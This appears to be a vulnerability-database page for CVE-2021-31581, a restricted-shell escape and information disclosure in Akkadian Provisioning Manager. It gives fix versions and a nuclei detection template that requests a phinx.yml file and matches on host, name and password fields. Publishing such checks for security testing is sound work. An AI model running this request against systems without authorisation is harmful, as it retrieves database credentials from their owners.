Akkadian Provisioning Manager - Information Disclosure

mediumseverity

4.4CVSS score

1.2%likelihood of exploitation, next 30 days

68%of all CVEs are less likely

Readycheck to confirm it

Akkadian Provisioning Manager is susceptible to information disclosure. The restricted shell provided can be escaped by abusing the Edit MySQL Configuration command. This command launches a standard VI editor interface which can then be escaped.

Impact

An attacker can exploit this vulnerability to access sensitive information, such as user credentials or system configuration details.

Fix

This issue was resolved in Akkadian OVA appliance version 3.0 and later, Akkadian Provisioning Manager 5.0.2 and later, and Akkadian Appliance Manager 3.3.0.314-4a349e0 and later.

How to confirm it

Send: GET {{BaseURL}}/pme/database/pme/phinx.yml
Positive when: contains "host:" and "name:" and "pass:" AND not contains "html>" AND status 200

Run it with nuclei: nuclei -id CVE-2021-31581 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-31581

info:
  name: Akkadian Provisioning Manager - Information Disclosure
  author: geeknik
  severity: medium
  description: Akkadian Provisioning Manager is susceptible to information disclosure. The restricted shell provided can be escaped by abusing the Edit MySQL Configuration command. This command launches a standard VI editor interface which can then be escaped.
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, such as user credentials or system configuration details.
  remediation: This issue was resolved in Akkadian OVA appliance version 3.0 and later, Akkadian Provisioning Manager 5.0.2 and later, and Akkadian Appliance Manager 3.3.0.314-4a349e0 and later.
  reference:
    - https://threatpost.com/unpatched-bugs-provisioning-cisco-uc/166882/
    - https://www.rapid7.com/blog/post/2021/06/08/akkadian-provisioning-manager-multiple-vulnerabilities-disclosure/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31581
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 4.4
    cve-id: CVE-2021-31581
    cwe-id: CWE-269,CWE-312
    epss-score: 0.01159
    epss-percentile: 0.6738
    cpe: cpe:2.3:a:akkadianlabs:ova_appliance:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: akkadianlabs
    product: ova_appliance
  tags: cve,cve2021,akkadian,mariadb,disclosure,akkadianlabs,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/pme/database/pme/phinx.yml"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "host:"
          - "name:"
          - "pass:"
        condition: and

      - type: word
        negative: true
        words:
          - "html>"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from